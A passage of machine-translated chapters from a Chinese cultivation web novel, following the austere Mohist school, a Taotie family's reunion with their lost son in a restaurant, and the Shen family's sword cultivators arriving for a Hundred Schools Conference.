    Jiang Cunliang''s body became stiff, and he felt that his eyes were as fierce as the scorching sun at noon, and there was no selfishness or desire in them. They were so bright that one would not dare to look directly at them.


    But this feeling only lasted for a while, because the man immediately smiled at Jiang Cunliang, and then turned his head and walked forward.


    Jiang Cunliang froze in place, his heart full of infinite shock.


    Because he was a son of a miscellaneous family, he has recognized the identity of the man who smiled at him at this moment.


    It was Mo Kong who was the leader and leader of the Mohist school, the 33rd generation of Mohist tycoon.


    But such a prominent figure smiled gently at himself, and he wore the same clothes and straw sandals as other disciples.


    Except for a black long sword slung around his waist, there was no difference.


    How could this not shock Jiang Cunliang.


    You must know that even for a miscellaneous family that has faded to the point of dying, Jiang Cunliang, as an ordinary disciple, cannot easily see the Patriarch, and even if he does, he will have to worship three times and nine times.


    But this more prominent Mohist tycoon is so easy-going and easy-going.


    Jiang Cunliang couldn''t help but fell into deep thinking.


    And at this moment, these Mohists, under the gaze of the audience, went straight to the restaurant, but they did not go in, but walked to the side of the corridor in an orderly manner.


    "sit!"


    It was not until the giant ordered that these Mo family disciples sat down against the wall in silence.


    "Food!"


    From giants to ordinary children, they all took out a piece of burlap from their arms. After opening it, there was a piece of steamed bun inside.


    Then these people just sat under the eaves of the corridor, silently gnawing the buns in their hands.


    In the hall separated by a wall is a dazzling array of delicacies from mountains and seas, and the fragrance is floating for many miles.


    The children of the Mo family under the eaves of the corridor outside ate the steamed buns in their hands happily, and everyone''s face was full of happiness.


    It''s as if the steamed buns in my hand are the best delicacy in the world.


    Such a strong contrast made the onlookers on the street a little dumbfounded.


    Someone couldn''t help whispering softly.


    "Before I heard that the people of the Mo family are noble, and they are extremely strict with themselves and don''t covet any material desires. Today is considered to be an insight!"


    "But didn''t the Mo family never participate in this Hundred Schools Conference? Why did you come this time?" someone asked.


    "Who knows, but it''s estimated that the reason will not be that simple, let''s watch, this Hundreds of Arts Conference is estimated to be very lively!"


    The crowd talked a lot, but Jiang Cunliang was looking at these Mohist children thoughtfully.


    To be honest, he was really shocked today.


    He never thought of anyone who could live in such a simple to almost harsh way.


    Especially from the tallest giant to the most ordinary disciple, all are treated the same.


    This caused cracks in his worldview.


    Because he used to be a disciple of a miscellaneous family, he was instilled in his childhood thinking that everything can be used for himself, as long as he can benefit himself, even his parents can betray.


    For a long time, this kind of thought of plucking a small amount to benefit the world has long been ingrained in his mind, and even thinks that the whole world is like this, but some people cover it up.


    It wasn''t until today that he met the Mo Family that he knew that people could still live like this.


    Somehow, seeing these Mo family disciples eating dried buns, he suddenly felt a little envious.


    Because they may lack material desires, but what they practice is the Tao in their hearts.


    This sense of happiness is self-evident.


    Jiang Cunliang was sighing, and saw a middle-aged man dressed in splendid clothes quickly walked out of the restaurant.


    In a few steps, the man came in front of the children of the Mo family, and then gave a deep salute to the giant Mo Kong who was sitting in the middle.


    "I don''t know if the Mo family tycoon is coming, it''s **** it!


    Mo Kong smiled gently, "Shopkeeper Fan is polite. We haven''t notified anyone here, so why do you need to welcome you?"


    The visitor was the great shopkeeper of this restaurant and a prominent figure in the business, Fan Wuli.


    As a disciple of the businessmen who should be most interested in chasing profits, his name is Wu Li, which is really a ridiculous feeling.


    Fan Wuli smiled, then glanced at the steamed buns in their hands, and immediately said: "I have just notified the chef to prepare a banquet, everyone, please come to the hall!"


    Mo Kong shook his head, "The shopkeeper has bothered me, we are used to this kind of steamed buns, and we have already given up on alcohol and meat!"


    "But..." There was an embarrassment on Fan Wuli''s face, and then he glanced at the growing crowd of onlookers on the street.


    So many people are watching If he just goes back like this, what news will come out tomorrow.


    There will definitely be people ridiculing themselves and the merchants for being too profit-seeking, and the Mo Family, who is regarded as a hundred families, is eating bread outside.


    As if noticing the embarrassment on his face, the Mo family giant smiled suddenly, and then said to the left and right: "Well, since the shopkeeper Fan sincerely invited us, let''s go in for a cup of tea!"


    Fan Wuli was overjoyed, "Thanks to the giant! Please!"


    These Mohist disciples stood up silently and lined up into the hall in an orderly manner.


    After seeing this scene, Jiang Cunliang moved his eyes and walked into the restaurant.


    At the same time, on the Tianjie Street not far from this restaurant, a woman looked at the backs of the Mo Family in amazement, and then whispered.


    "Mo Home is here too? Didn''t they never attend such gatherings?"


    An old man with a short stature on the side struck his beard and smiled, "Master Xuan Nv is right, but I feel that these Mohists must have a reason for coming this time!"


    "After all, what these ascetics-like guys are best at is to spot dangers in advance and eliminate them!"


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2518 The Arrival of the Mo Family), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 2519： Non-attack and love the world

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    Jiu Tian Xuan Nu took a deep look at this restaurant, and then couldn''t help sighing.


    "Yes! These guys, they should have come here for a long distance because of the smell of some kind of smell!"


    Ao Shu on the side blinked, and said with a dazed expression: "Master, Empress, what are you talking about? Why don''t I understand at all? Is there something special about the people in black who just entered? A place?"


    Cha Wenliang shook his head and smiled bitterly, "I can''t say that it''s special, it''s just that these people are very unique, even in this huge sky, they are considered unique existences!"


    Ao Shu immediately aroused his vigilance, "Will they come here to ruin Brother Ang''s affairs?"


    "No, not only not, it should be a big help for Xue An!" Cha Wenliang said.


    Ao Shu''s face was full of question marks.


    The Nine Heavens Profound Girl explained: "The black-clothed men you have seen all come from the Mo family, and this Mo family is a very special existence among the various scholars, because the thinking they hold is completely different from that of everyone. The grand concept of universal love and universal harmony!"


    Speaking of this, there was a trace of respect in the tone of the Nine Heavens Profound Girl.


    "Not only do they have lofty ambitions, but the key is that they are also doing their own things. They are going retrograde in the tide of the world, so they are also respected as sages of the Mo family!"


    Cha Wenliang also nodded, sighing.


    "The Empress is right. Three thousand years ago, a large family in the limelight at the time bullied others and planned to annex a small sect!"


    "At that time, no one dared to care about this matter. Only the Mo family stepped forward and brought three hundred Mo family children Xueye into the sect, and finally forced back these people who intended to invade, but after the incident was completed, they were stunned. Go, I haven''t even drunk my saliva from start to finish. It can be said to have no cause and effect. Its chivalry is enough to be admirable!"


    After listening to this introduction, Ao Shu''s eyes couldn''t help but shimmer.


    "Wow, it turns out that this Mo family is so powerful! Then let''s go in and have a look!"


    The Nine Heavens Profound Girl glanced at Cha Wenliang, nodded slightly when she saw him with a smile, and responded.


    "Alright, it happens to be a trek, everyone is a little tired, it is good to have a rest in this restaurant first!"


    As soon as he heard something to eat, he followed the little gourd who hadn''t said a word all the way behind everyone, his eyes flashed with brilliance, and he nodded in agreement.


    The group then walked to the restaurant.


    There was only one person standing in place, with a hesitant look on his face.


    This person is young and looks very young, but his aura is not weak at all, especially those eyes, when you stare, it is easy to fall into it.


    At this moment, he frowned slightly, looking at this restaurant.


    "Strange, why do you suddenly feel an inexplicable heart palpitations? This feeling is the same as when I was taken away by others! Is there any danger in it?"


    These thoughts hovered in his mind, and he hesitated in his actions.


    At this moment, Ao Shu, who had already walked to the door of the restaurant, turned his head and saw him standing in place, and couldn''t help but shout.


    "Xiaoyu, why are you standing there stupidly? Come over to eat!"


    That''s right!


    This man is the glutton who was rescued by Xue An in Linglong City.


    After the gluttonous glutton was surrendered by Xue An, he has been living in the Fubao Xiaolou in Xue An''s Sea of ??Knowledge.


    Until this time, Xue An went to Yin and Yang''s house in advance to investigate the evil things. Before leaving, in order to enhance the strength of everyone, but also to let this glutton use its abilities, Xue An called him out and asked him to follow the investigation. Wen Liang and others acted together.


    When Jiu Tian Xuannv and Cha Wenliang settled everything and came to the Yin-Yang home, he naturally came with them.


    On this road, this gluttony got along very well with Ao Shu, as if he had become Ao Shu��s younger brother.


    So at this moment when Ao Shu called him to go over, Taotie trembled slightly, and even after gritting his teeth, he quickly followed.


    now.


    The lobby of this restaurant is very lively.


    Many people didn''t even eat food, but looked at the excitement.


    Under the arrangement of this Fan Wuli, a few tables were placed near the window, with tea and snacks placed on them, and they were very thoughtful and considerate.


    And these Mo family children didn''t speak the whole time, they just sat down silently.


    Fan Wuli smiled at Mo Kong, "Master Giant, do you think you have some food? I promise that they are all very clean and simple meals, you..."


    Mo Kong waved his hand, "Needless to say, we understand your kindness, but this is already very good!"


    With that, Mo Kong held up the teacup in front of him.


    "Don''t let down the goodwill of others, drink it!"


    Hearing what he said, these children just picked up the teacup and drank silently.


    I don''t know what''s going on, maybe because of the atmosphere of these Mo family children, the hall gradually quieted down.


    Even the people who sneered at the Mo Family before, now have to admit that these people are indeed worthy of the word sage.


    Jiang Cunliang''s eyes gradually showed a brilliance that had never been before.


    That is a feeling called respect.


    In the past, Jiang Cunliang would only feel scared even when faced with an existence whose strength was much higher than his own.


    As for the sincere respect, this is the first time.


    In fact, it wasn''t just him, even the expression of Fan Wuli, the merchant''s son, became awe-inspiring.


    "If this is the case, then I won''t bother everyone, if you have any needs, please feel free to let me know!"


    With that, Fan Wuli turned around and walked out.


    And it was at this moment that the Nine Heavens Profound Girl and Cha Wenliang and her party walked into the hall.


    This is not surprising, especially when the Mohists have attracted most attention, many people have not even noticed their arrival.


    Jiang Cunliang was the same at the beginning, but a person who came in immediately made him feel as if he was struck by lightning, and he was stunned on the spot.


    It was the gluttonous man who came in behind. U U Reading


    In fact, thanks to Xue An''s help, this gluttonous incarnation technique is so superb that most people can''t feel the strange aura in him at all.


    But Jiang Cunliang was different. He had just got out of his two gluttonous hands, and he had a deep memory of the unique breath of the gluttonous family.


    So when he saw the man''s first glance, he immediately determined that this was definitely a gluttonous food.


    This discovery made him tremble slightly.


    Not because of panic, but because of surprise.


    Originally, he was still worrying about where to find news about that little gluttonous food.


    But I didn''t expect that just the effort of eating a meal would actually let me run into it.


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2519 Non-attack and love the world), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2520： Restaurant conflict

    You can search for "invincible, cool notes from the novels ( in Baidu to find the latest chapters!


    He could almost conclude that this gluttony was definitely the one that the couple was looking for.


    As for why it appears here...


    Jiang Cunliang glanced at the Jiutian Profound Girl and Cha Wenliang who were walking in front.


    He didn''t know the Nine Heavens Profound Girl.


    But Cha Wenliang''s breath that belongs to the medical way can''t be concealed in any way.


    Sacred hand of medicine, could it be from the Alliance of Pharmacists?


    This thought flashed in his mind, and immediately he took a deep breath and drove all the thoughts out.


    Whether it is or not, anyway, the news that I was looking for has been found, and the result must be that the gluttonous couple will be very satisfied.


    The immediate task now is how to inform the gluttonous couple of the news without disturbing these people.


    After thinking for a moment, Jiang Cunliang nodded to the shop Xiaoer.


    "Guardian, what''s your order?" Xiao Er said with a big smile on his face.


    "I ask you, what did the pedestrian who just came in ordered?"


    "Who are you talking about?"


    "It''s the group of people who brought a little girl just now!"


    The smile on Xiao Er''s face did not change, but he didn''t answer his words, "What are you asking about?"


    "Oh, I forgot to tell you. One of these people is a good friend of mine, but it has been a long time since I saw him. I just saw it suddenly. I was a little unsure if it was him, so I wanted to ask you. !"


    With that said, Jiang Cunliang took out a piece of spiritual crystal from his arms in pain, and then pretended to pass it over as if nothing had happened.


    Of course the second person in this shop knew that Jiang Cunliang was lying, but he didn''t bother to care about it.


    Moreover, what the other party asked was not a secret, so he took the spirit crystal with a smile, then lowered his voice and said.


    "Actually, your friends are better than each other. I just ordered dozens of dishes, which is not even those desserts!"


    Jiang Cunliang''s heart moved, but his expression remained calm on the surface.


    "Haha, it turned out to be like this, it seems I should have admitted the wrong person!"


    After playing a few haha ??and fooling the shop''s second child, Jiang Cunliang immediately got up, hurriedly walked out of the restaurant, and then followed an alley next to the restaurant to the back door of the restaurant.


    It''s very secluded here, and most people don''t come here.


    Jiang Cunliang looked around for a while, and after making sure that no one was following him, he immediately started hitting the wall with his head.


    Boom boom boom!


    After a few strokes, blood dripped from his forehead.


    But he still didn''t stop, but continued to hit the wall.


    A moment later, when he was already dizzy and dizzy, he heard a gust of wind behind him, and then someone said coldly.


    "What''s the matter, what do you use this method to call me to wait for?"


    Hearing the voice, Jiang Cunliang turned his head and looked at the gluttonous couple.


    He wiped his forehead with his hand, the blood stopped instantly, and then he said solemnly.


    "I have an important news to tell you!"


    "What important news?" the man asked.


    The two of them originally planned to find a place to rest and wait until midnight to find Jiang Cunliang, but they never expected that they felt a strong heart palpitations just after a while.


    This man knew that this should be the divine consciousness that he had left in the sea of ??Jiang Cun''s conscience warning.


    So he immediately rushed over with his wife.


    But he didn''t think Jiang Cunliang could find any clues, after all, time simply wouldn''t allow it.


    Only one hour has passed since I left with Jiang Cunliang.


    No matter how well this person''s hands and eyes can reach the sky, it is impossible to find a clue in such a short period of time.


    But he never expected that when he heard the man''s words, Jiang Cunliang smiled proudly, and then raised his hand to the restaurant in front of him.


    "Naturally it''s news about your son. Have you seen the restaurant in front of you? Your son is in it now!"


    "what!"


    The gluttonous couple was horrified, but they couldn''t believe it was true.


    "Are you telling the truth?"


    "This kind of matter is related to my own life, how dare I make a joke? He is inside now, and there is a healer by his side. As for the others, I can''t recognize it!"


    Master of Medicine?


    The gluttonous couple looked at each other, wondering why there was a man of medicine beside their son.


    But at this moment they can''t bother to think so much.


    "Go, and follow us to take a look!" The man said solemnly.


    Jiang Cunliang naturally knew that this gluttonous couple would not believe it so easily based on his own words, so he didn''t hesitate, and immediately led the two gluttonous into the restaurant.


    now.


    The Nine Heavens Profound Girl and her group are sitting in the corner of the lobby on the first floor.


    In fact, with their financial resources, the second floor is also available.


    But out of curiosity and respect for the Mo family, they still chose to eat on the first floor.


    At this moment, the food has been served one after another.


    Xiao Hulu and Ao Shu are simply feasting.


    Especially this little gourd, from the moment when the first dish was served, she didn''t look up, she kept eating wildly.


    On the contrary, this gluttonous glutton was sitting on the chair, feeling a little irritable, and did not move his chopsticks.


    "What''s wrong? Why do you look worried?" Cha Wenliang couldn''t help asking.


    For this ancient beast, Cha Wenliang showed great interest.


    Because he really wants to uncover the blood secrets of these exceptionally gifted beasts


    So he took care of this glutton a lot along the way.


    Taotie shook his head, "I don''t know, I just feel a little irritable inexplicably!"


    As soon as he finished speaking, Jiang Cunliang led the gluttonous couple into the restaurant.


    Almost the moment they stepped into the hall, this little glutton turned his head and looked at it with feeling.


    The gaze happened to be with the gluttonous couple.


    Then both sides shook together.


    The tears of the gluttonous girl came down at that time.


    "It''s a son!"


    Then he rushed here desperately. UU Reading www.uukANAnshu.com


    This little gluttonous was a little frightened.


    When he was taken away, he was still very young, and he did not have a deep memory of his parents.


    So at this moment, when he saw the gluttonous couple, his first reaction was not joy, but fear.


    And this reaction exacerbated the guilt and anger in the heart of the glutton.


    "It''s all you **** who caused me to become like this. Give me my life!"


    Inspired by motherhood, this gluttonous girl almost went crazy.


    Wherever he went, he directly knocked over several tables of guests.


    Not only her, but the gluttonous glutton was also very excited, and followed closely behind.


    This sudden change caused chaos in the audience.


    The Nine Heavens Profound Girl frowned slightly and waved her sleeves.


    A majestic force rushed out, and it happened to collide with the gluttonous girl who was on the way.


    boom!


    After a loud noise, the gluttonous girl was shocked and flew far away.


    But this also intensified the conflict in an instant.


    The gluttonous couple, who originally kept a low profile and didn''t want to have too much conflict with the strong human beings, were anxious at that time.


    "Your human race...really deceive people too much!"


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2520 Restaurant Conflict), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2521： Gluttonous reunion

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    Accompanied by this roar, the gluttonous couple''s figure swelled sharply, and in the blink of an eye they transformed into a strange half-human half-beast shape.


    But Taotie''s iconic face still betrayed them.


    There was a commotion in the audience.


    "Gosh, it''s gluttonous!"


    "How could this ancient fierce beast suddenly come here?"


    Accompanied by bursts of exclamation, the number of people in the hall increased unabated, and many even appeared greedy.


    After all, no matter how strong these gluttonous foods are, there are only two. With so many people on his side, if they can capture these two gluttonous foods, it would be a huge benefit.


    This is why the gluttonous couple has not dared to reveal their whereabouts before.


    After all, the hustle and bustle of the world is the word for profit.


    Even the weakest people may take risks for profit.


    And if it is targeted by the strong, then it will really be over.


    But now, it��s no good if you don��t want to show up.


    You know that they are the ancient fierce beasts, and their tempers can be described as extremely irritable.


    In addition, this time, in order to find his son, I have been running around for a year in the outer sky, and my heart has already been filled with grievances.


    At this moment, I finally saw my son, only to find that he had been "kidnapped and kidnapped."


    At this time, the anger in their hearts finally broke out completely.


    Boom boom boom!


    Accompanied by the extremely heavy footsteps, the gluttonous couple rushed towards the Nine Heavens Profound Girl one after another.


    In their eyes, this woman was clearly the culprit who kidnapped her son, so her attack was a ruthless move.


    Cha Wenliang''s expression changed suddenly, but the Nine Heavens Profound Girl just smiled coldly.


    Then he raised his hand with a palm.


    The palm force spit out, and it happened to be printed on the body of the female glutton who rushed to the front.


    Before she even had time to hum, she was directly blown out by the powerful palm.


    The man''s gluttonous eyes instantly turned red when he saw this, and then opened his blood basin and opened his mouth, biting the Nine Heavens Profound Girl with the momentum of swallowing the sky.


    Nine Heavens Profound Girl frowned slightly, killing intent surging in her heart.


    My group was sitting here well, but they didn''t expect to suddenly rush in with two gluttonous foods, and they would come up and fight regardless of whether they were indiscriminate or indiscriminate.


    No matter how good-tempered people are, they will get angry at this time.


    What''s more, the spleen pressure root of the Nine Heavens Profound Girl is not good.


    So she snorted coldly, "Looking for death!"


    As she said, a violent coercion suddenly rushed out of her body and turned into a sharp and unparalleled blade in the air, slashing this gluttonous head straight.


    puff!


    Blood spattered.


    The gluttonous glutton roared, but his figure did not retreat, but instead rushed towards the Nine Heavens Profound Girl again.


    The Nine Heavens Profound Girl was so angry that she wanted to kill her.


    But at this moment, he suddenly heard an exclamation.


    "Master Empress calm down, this is my father!"


    The speaker is the little gluttony.


    Hearing his shout, the Nine Heavens Profound Girl took back her mortal palm without letting her hair go, and then spit out her palm, and shook the male gluttonously away.


    "What the **** is going on?" Nine Heavens Profound Girl asked with a cold face.


    Xiao Taotie stepped forward, supported the injured couple, and then said in a choked voice.


    "Master Empress, they are my parents, and they came here to find me too!"


    Immediately afterwards, this little glutton shouted out a series of complicated syllables to his parents.


    After listening, the gluttonous couple couldn''t help showing embarrassment, then quickly recovered their human form, walked up quickly, and bowed to the ground.


    "I''m really sorry, it was just that the two of us were so reckless that we started fighting with you without asking what was going on!"


    At this point, the misunderstanding was finally resolved.


    And after hearing that two gluttonous gluttons had come to the territories of the human race at any risk to find their lost sons, Jiu Tian Xuan''s complexion couldn''t help calming down and waved her hand.


    "Forget it, since you are looking for your son, then I won''t care about you!"


    "Thank you, thank you!"


    Soon, the gluttonous couple also took a seat, and then excitedly asked about their son''s situation over the years.


    Xiao Taotie sighed, and probably told it again.


    When they heard that it was a human teenager who had rescued their son, the gluttonous couple expressed gratitude, and then looked at Jiu Tian Xuan Nu and Cha Wen Liang very seriously.


    "Since several of you are here to help Xue Engong, then we are naturally also duty-bound. The two of us are also willing to accompany you to Yunxiao City and do our best."


    Faced with this proposal, Jiu Tian Xuan Nu and Cha Wenliang had no reason to refuse.


    Don''t look at the gluttonous couple looking very savvy in front of the Nine Heavens Profound Girl, but that is because the strength of the Nine Heavens Profound Girl is too strong.


    In fact, the two of them, being ancient fierce beasts, are far from being comparable to the general strong.


    With the joy of everyone, the atmosphere on the wine table couldn''t help becoming more enthusiastic.


    The crowd onlookers in the hall couldn''t help but dispel the greed in their hearts when they saw it.


    joke.


    Everyone looked at the strength the Nine Heavens Profound Girl showed just now.


    That must be at least a real saint.


    In the face of such an existence, no matter how greedy people are, they must learn to be humble.


    Soon after the banquet was finished, the Nine Heavens Profound Girl and her group got up and prepared to leave.


    At this moment, the Jiang Cunliang suddenly rushed over, then he threw himself and knelt in front of the crowd.


    "Masters, please let me go!"


    Seeing this scene, Jiu Tian Xuan Nu and Cha Wenliang were not sure why.


    This gluttonous couple suddenly realized.


    I saw the gluttonous laugh and said: "Are you afraid of the divine mind that I left you? Don''t worry, that obsession has automatically disappeared after finding my son!"


    Jiang Cunliang was taken aback.


    He had no idea that things would be so easy.


    I thought I would have to pay a heavy price to survive, but I didn''t expect to let myself go so lightheartedly?


    Just as he was stunned, Jiu Tian Xuan Nu and her group walked out of the restaurant.


    When passing by the group of Mo family children, Mo Kong, the giant who had bowed his head to drink tea, smiled slightly.


    "The female emperor is a good way!"


    The Nine Heavens Profound Girl was stunned for a moment, and even smiled.


    "The giant is polite!"


    "See you in Yunxiao City, then!" Mo Kong whispered. U U Reading


    "Okay, see you in Yunxiao City!" The Nine Heavens Profound Girl said calmly, and then led the group to leave.


    After walking out of the restaurant, Ao Shu couldn''t help asking, "Master Xuan Nv, what did the giant just say?"


    The Nine Heavens Profound Girl took a deep breath and said in a deep voice.


    "On the surface, he is telling me that the Mohists will also participate in this Hundred Schools Conference. As for whether there are other meanings, then I don''t know!"


    While in the restaurant, Mo Kong smiled faintly as he looked at the direction where the Jiutian Profound Girl and her party were leaving.


    "This Hundred Schools Conference is really interesting!"


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2521 Gourmet Reunion), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2522： The general trend has become unstoppable

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    "You said that two gluttonous gluttons suddenly appeared in today''s restaurant, and then they were subdued by a woman from a medical background?" A faint voice came from the void.


    Fan Wuli didn''t even dare to lift his head, and said in a deep voice, "Yes, and I have already inquired just now. Next to this woman, there is Ghost Needle Doctor Cha Wenliang!"


    "Hehe, that can''t be wrong, this woman must be the female emperor Xuantian who came out of the Pharmacist Alliance some time ago! I didn''t expect even the members of the Pharmacist Alliance to come this time." The voice groaned.


    Fan Wuli cautiously said: "In fact, it is not just the Pharmacist Alliance and the Mo Family. The news that has just been received is that in the time of this day, the Fajia, Taoist Quanzhen faction, and Shennong have all arrived, even those who have not been born for a long time. The descendant of Yang Zhu has also reappeared in the world!"


    "Oh? It''s the ancient school of indulgence, like a demon sect?" There was also a hint of surprise in this voice.


    "Yes!"


    "Unexpectedly, I thought this school had already been cut off!" The voice sighed a few words, and then said in a deep voice.


    "This Hundred Family Conference is no trivial matter, it has shocked countless hidden family sects, so our business must be careful and careful, and must not lose the chain at this critical moment!"


    "Subordinates understand!"


    "Continue to collect information at all costs. Although this time is a challenge, if you grasp it well, it will not be a golden opportunity!"


    "Yes!"


    The voice disappeared.


    When Fan Wuli walked out of the room, his expression had returned to normal.


    On the outside, it looks no different from an ordinary restaurant shopkeeper.


    But it is such an existence, but it is a high-status disciple among the merchants.


    I saw him solemnly said, "Has the person sent to follow him come back?"


    "Return to the shopkeeper, I have come back!"


    "How about it?"


    "Everything is as usual, the group of the Pharmacist Alliance headed straight for Yunxiao City, and the Mo Family is no exception, but..."


    "But what?"


    "But there is one person who is also behind the Mohist!"


    "Oh? Who?"


    "It''s the person who knelt down and begged for mercy in the lobby just now. I have just sent someone to investigate. This person was a child of a miscellaneous family before, but I don''t know why he quit suddenly!"


    "Oh!" Fan Wuli nodded, and said after a moment of contemplation.


    "Don''t worry about him, it''s just a deceased kid from the miscellaneous family. It''s not worth mentioning. If he really wants to do something, he will have the Mo Family to deal with it!"


    "Yes!"


    The subordinate quietly retired, and Fan Wuli looked at the ledger, always feeling that he had overlooked something.


    But he couldn''t remember what was going on anyway.


    This feeling made him very irritable.


    When he was hesitating, I suddenly heard a tsunami-like noise from the mountains outside, mixed with exclamations.


    "Gosh, it''s from the Shen family!"


    "Are all the sword repairs in the Shen family dispatched?"


    "Such a spectacular scene is simply breathtaking."


    Hearing these words, Fan Wuli''s heart shook wildly, then immediately rushed out of the restaurant and looked up.


    However, the Luofu Gate at the starting point of Tianjie Street in the far distance has been opened wide, and many bright brilliance are pouring in from the gate, forming a mighty torrent across the sky.


    When you get closer, you can see where the brilliance is, it is clear that they are sword repairs one by one.


    Fan Wuli''s scalp was numb in this scene almost beyond imagination.


    He finally understood what he had just missed.


    That is the Shen family!


    We must know that although there are many participants in this Hundreds Conference, only a few families are really eye-catching.


    Among them, the Shen family must be the one with the most attention.


    After all, what happened some time ago has spread all over the world.


    Shen Muyu, a genius of swordsmanship who was known as an inexperienced genius, broke through and made a war with the mysterious young man Xue An who was in the limelight.


    But now that Xue An has no news, and doesn''t know where it is.


    All people want to know if the second son of the Shen family will come.


    What kind of attitude does the Shen family have towards this Hundred Schools Conference?


    The long river of sword energy rumbling by, silenced everyone who saw this scene.


    Because the Shen family was silently declaring his strength in this domineering way of playing.


    This is an almost desperate feeling.


    At least many members of the family sect on Tianjie have this idea in their hearts.


    What kind of family sect is capable of so many sword repair opponents?


    But this is not over yet.


    After the long river of sword qi flowed halfway, violent waves suddenly appeared in the void, and then several sword lights leaped out of it.


    Each one is so dazzling that one dare not look directly at it.


    But these few sword lights guarded a person together.


    A young man with a long body of jade, red eyebrows and phoenix eyes, and a beautiful girl like a woman.


    But it is such a young man, there is supreme majesty in his gestures.


    Just looking at it makes people dare not have the slightest heart of resistance.


    Fan Wuli only felt cold in his hands and feet, because he clearly felt a sword intent that resembled the sun and the moon from this young man.


    No need to ask, this must be the second son of the Shen family, Shen Muyu.


    And not just him, almost everyone was silent for a while after seeing this second son Shen.


    This feeling was only slightly relieved after the long river of sword energy of the Shen family had disappeared into the sky.


    Then someone sighed almost desperately.


    "Such peerless geniuses have already appeared, how can I wait to get ahead in this hundred conferences?"


    Fan Wuli didn''t speak, he just took a deep breath, and then walked back into the restaurant with composure.


    After a while, a letter paper turned into white light and flew out, flying towards the depths of the void.


    At the same time, news of the Shen family''s strong arrival in a very high-profile manner has also spread wildly.


    When the news passed, there was an uproar.


    Somewhere in the gorgeous manor in Yunxiao City.


    The owner of Bailu Village, Yan Jingcheng, looked at the water mirror in front of him with a serious expression.


    Erzhuang advocates knowing and doing, while whispering softly: "The Shen family will do everything possible this time. UU reading seems to be inevitable for this Hundred Schools Conference!"


    Yan Jingcheng ignored him, but directly asked Luo Linyuan, the owner of the three villagers.


    "Senior Junior Brother, what do you think?"


    Luo Linyuan pondered for a moment, and then said five words.


    "They are creating momentum!"


    Yan Jingcheng nodded in satisfaction, "Go on."


    "This second son of Shen has just left the customs, and he is in desperate need of a victory to prove himself, and the Shen family also needs to train the next generation of descendants through this method, so it is so high-profile!"


    "After all, momentum is also an extremely important part of sword repair! Now that the general situation is complete, I am afraid that no one can stop the rise of the second son of Shen!"


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2522 has become unstoppable), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2523： Mohist philosophy

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    At the same time, a person not far from Yunxiao City was saying something similar.


    The giant Mo Kong raised his head and looked at the mighty river of sword energy in the sky passing by in an almost arrogant posture, and couldn''t help but chuckle.


    "After so many years, the Shen family still hasn''t changed at all!"


    After all, he lowered his head and looked at Jiang Cunliang not far away.


    "What do you think about this?"


    Jiang Cunliang hesitated for a moment, and then said in a deep voice: "Obviously, the Shen family is raising its momentum in advance, and its purpose is to be the leader in the next 100 schools."


    "Leadership..." Mo Kong whispered softly for a moment, then smiled.


    "I can''t tell, your insight is pretty good."


    "When I was in the miscellaneous house, I was specially responsible for processing information!" Jiang Cunliang was silent for a moment, and said slowly.


    "Then why do you want to join our Mo family after leaving the miscellaneous family?" Mo Kong asked softly.


    "Because I want to try a completely different way of living from before!" Jiang Cunliang looked at Mo Kong with piercing eyes.


    "When I was in a miscellaneous family, although I was rich in clothes and jade, I faced unpredictable people and endless intrigues every day."


    "It''s because I am really tired of this kind of life that I secretly escaped!"


    "Then why is it our Mo Family?" Mo Kong asked again.


    "If I said I was envious of your atmosphere of equality and friendship, would you believe it?"


    Mo Kong smiled, "What do you think?"


    Jiang Cunliang sighed, "I really wanted to say this at first, after all, it would look good, but now I have changed my mind!"


    Jiang Cunliang looked at Mo Kong and said frankly: "My real idea is to protect me through you. After all, although the miscellaneous family has fallen, it is still very simple to clean up a traitor like me!"


    Mo Kong looked at Jiang Cunliang quietly, without speaking for a long time.


    Jiang Cunliang''s expression changed and he finally lowered his head, "If you don''t want to, it''s not surprising, I can leave now!"


    With that, he turned and left.


    But at this moment, I just listened to Mo Kong faintly saying: "Welcome to the Mo family!"


    Jiang Cunliang suddenly turned around and looked at Mo Kong in disbelief, as if he didn''t understand why he suddenly agreed.


    Mo Kong chuckled lightly, and raised his hand to point to the Mo family in the forest in the distance, "What do you think they joined the Mo family because of what?"


    "Isn''t it attracted by the purpose of the Mohist school?"


    "There are such people, but most of them are the Mohists who joined for various other reasons. After all, people are very realistic creatures."


    A Mohist tycoon with the world in mind, at this moment said that humans are very realistic creatures. This picture is really magical.


    "Are you surprised? In fact, the Mohist school has never denied humanity, and is even more sober than the Yang Zhu School, which is known for its indulgence, but the only difference is that we never feel discouraged!"


    "Whether human nature is good or evil, that is not what we care about. What we care about is how to transform the world a little bit better, and the premise of all this is to let ourselves act first!"


